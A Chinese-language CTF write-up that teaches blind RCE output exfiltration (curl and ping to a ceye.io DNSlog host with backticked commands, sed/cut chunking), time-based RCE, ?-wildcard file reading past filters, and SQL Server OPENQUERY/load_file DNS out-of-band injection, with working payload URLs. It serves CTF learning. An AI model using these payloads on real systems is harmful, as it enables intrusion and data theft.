两则需要知道的RCE实战trick
RCE-trick1
前言
想必大家遇到RCE的题目不算少数,那么如果题目可以命令执行,却没有回显,那么我们应该如何有效打击呢?
盲打RCE
先看这样一段函数:
对于这样的情况,我们可以直接
即可拿到回显:
但是如果题目变成
<?php
$cmd = $_GET[`cmd`];
`$cmd`;
又该怎么办呢?
这里的命令执行结果显然不会打印出来,那么我们如何获取到这个结果?
这里介绍一种方法:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
我们可以将回显直接打出来
而这里用了一点反引号可以直接执行命令
所以最后打出来的应该是
但是大家有没有想过,如果我们这里用ls会是什么结果呢?
curl http://ip.port.b182oj.ceye.io/`ls`
显然,我们只打印出了第一行的值:
那么剩余的怎么办?
就要用到接下来的sed命令
sed作为Linux三剑客之一,功能十分强大
我们看一下用法
我们需要用到这里的-n
测试一下:
相当完美的实现了行的划分,可以依此打出所有行信息
那么问题又来了
打出来的信息可能会受到长度的限制,这又该如何解决呢?
这里又要用的强大的指令cut
同样我们看一下用法
我们需要用到这里的-c
我们测试一下
一个字符一个字符太慢?
那可以截取段:
故此可以打出任意行,任意长度的信息
实战例题
题目来自安恒秋季赛决赛的python PIL
拿到题目后,先谷歌一波,搜到了CVE:
GhostButt CVE-2017-8291
然后使用了Ph牛的POC:
https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png
阅读readme:
比如poc.png,我们上传之,即可执行touch /tmp/aaaaa。将POC中的命令改为反弹命令,即可获得shell:
所以将其中的指令改为反弹shell,但是很遗憾,反弹失败。
而若反弹不出shell,我们执行命令也无法回显,那该怎么办呢?
这里就用到了我们的盲打RCE
curl http://ip.port.b182oj.ceye.io/`ls`
然后可以把对方服务器上ls执行的结果返回回来
于是乎经过一番探索发现
cd /var/www&&ls
回显Flask,于是找到了flag的位置
cat /var/www/Flask/flag |base64
成功拿到flag的base64,解码即可得到flag:
flag{ec72feaeac7c5dd13e0e5104ad2e9705}
可以盲打RCE在真实渗透案例中还是比较常见的,掌握这种技巧的价值也很高。
另一种打法—Time-Based-RCE
在后来的swpu2017的比赛中,我也发现了类似的题目,但是最后给出了另一个解法:Time-Based-Rce
我觉得也很有趣,也和大家分享一样
加入我们这样使用
?cmd=if [1=1];then sleep 10;fi
浏览器则会睡眠10秒后才响应
而?cmd=if [1=2];then sleep 10;fi
则会立即响应
那么我们可以利用这种类似sql盲注的方法进行RCE执行结果获取
?cmd = if [$(whoami|cut –c 1)=w];then sleep 10;fi
如果成立,则会类似盲注一样,待响应10s,如果错误则会立即回显
但我们输出的结果里可能会带有其他字符,所以可以经过Base32处理一下,这样输出的只有大写字符和数字,以及等号
类似于:
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
而在github上也有类似的利用工具:
https://github.com/dancezarp/TBDEx
RCE-trick2-神奇的通配符
前言
不知道大家是否遇到过这种情况:
在RCE命令执行的时候,大量系统函数被禁,剩下的指令所剩无几,且一些绕过trick也失效了。这里我将结合一道例题来讲解,题目来自成信的2017geekgame
实战案例
题目过滤了cat等常见的读取命令,以及大量系统命令
我fuzz了一下,发现sort,watch都可以用
然后又发现题目过滤了空格,又发现%0b可以绕过
而最后最坑的来了,ls,find等指令均被禁用,那么我们应该如何去尝试读取文件,探测目录呢?
这里就不得不介绍一种通配符了
我们首先看一下linux下的符号有哪些:
我选择fuzz了一下,发现?还存在,这就引起了我的注意
以前从未想过?可以当做通配代替文件名
我们做个测试,当前目录下有如下文件
文件内容为:
如果我们未知文件名,只有sort和?怎么去读文件呢?
没错,直接利用?去通配文件名即可
那么隐藏文件又该如何读取呢?
在问号前加一个.即可
故此我们可以写一个脚本,爆破出当前目录下所有文件的内容
而这道题也用了这样的方法破解成功
SQL注入盲打
—OOB利用DNS偷走数据
也算是一点奇淫技巧,这种题目并不是很常见,我也是第一在hctf遇到,简单来说,就是在过滤不严谨的情况下,利用dns带出我们注入得到的结果。乍一听可能比较难以理解,话不多说,我们直接从题目中学习:
实战演练
题目来自10月份的XCTF联赛中的HCTF,题目的破解正是应用了OOB(out of band),利用dns偷走数据
1.1 题目描述:
题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。
1.2 题目分析:
http://106.15.53.124:38324/?id=1
发现源码泄露:
php
<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsr","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql
$stmt = $conn->query( $query );
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
可以知道三个关键点:
第一点:
try {
$conn = new PDO( "sqlsr","oob", "");
}
使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob是一种攻击手法,算是提示
第二点:
//link server: On linkname:mysql
可以见到还有一个mysql,我们的flag应该是在Mysql
第三点:
EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i
过滤在此,分析了一下,我们在oob中可以使用load_file(),这里的函数过滤应该也算一个提示
然后是如何在sql server的查询中查询mysql,可以用如下方法:
SELECT *
FROM OPENQUERY(Servername,'select * from DBName.tablename')
然后我们研究oob:
找到这样一个链接:
http://bobao.360.cn/learning/detail/3458.html
其中给出了非常好的payload
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
可见我们需要一个dns服务器,他在去解析这个dns的时候,我们在dns服务器上就能看见
注意:
拿vps+域名泛解析是不行的,像Ping这种请求,vps日志是收不到的
所以我们找了一个网站http://ceye.io/records/dns
是真的强,直接免去了我们搭dns服务器的事。
下面开始攻击,构造payload:
http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat('\\\\',version(),'.2bub8m.ceye.io\\abc'));');
http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat(0x5c5c5c5c,version(),0x2e32627562386d2e636579652e696f5c5c616263));');
注:记得16进制,否则不会成功,双引号+单引号不成功卡了我一会儿
即可在dns查询上看到:
5.7.19.2bub8m.ceye.io
下面就是常规探测了,毕竟没有过滤:
于是查name字段:
flag.2bub8m.ceye.io
再查password字段:
dn5-1og-can-take-f14g-6as84f.2bub8m.ceye.io
组合后得到flag:hctf{dn5-1og-can-take-f14g-6as84f}